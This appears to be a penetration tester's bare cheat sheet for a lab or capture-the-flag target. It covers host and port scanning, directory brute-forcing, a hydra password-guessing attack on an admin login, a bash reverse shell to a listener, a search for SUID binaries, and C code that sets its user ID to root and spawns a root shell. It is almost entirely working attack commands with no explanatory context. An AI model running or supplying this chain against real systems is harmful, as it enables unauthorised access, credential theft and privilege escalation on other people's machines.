netdiscover -i eth0 -r 192.168.1.0/24
nmap -sn 192.168.1.0/24

nmap -p- -T5 192.168.56.102 #全端口扫描
nmap -sV -sC -p 22,25,80,110 -A  192.168.56.102 -o h-3
nmap -p- -A 192.168.56.102 -T5 -oA h-3

gobuster dir -u http://192.168.56.102/websec -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 --wildcard | grep -v 4647

dirb http://192.168.1.102/

dirsearch -u 192.168.136.150 -e*  -x 403

cewl http://192.168.56.102/websec/ > cewl.txt

hydra -l [email protected] -P cewl.txt  192.168.56.102 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email" -V

bash -c 'exec bash -i &>/dev/tcp/192.168.56.1/1234 0>&1'

find / -type f -perm -u=s 2>/dev/null
/usr/bin/cpulimit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc,char *argv[])
{
	setreuid(0,0);
	execve("/bin/bash",NULL,NULL);
}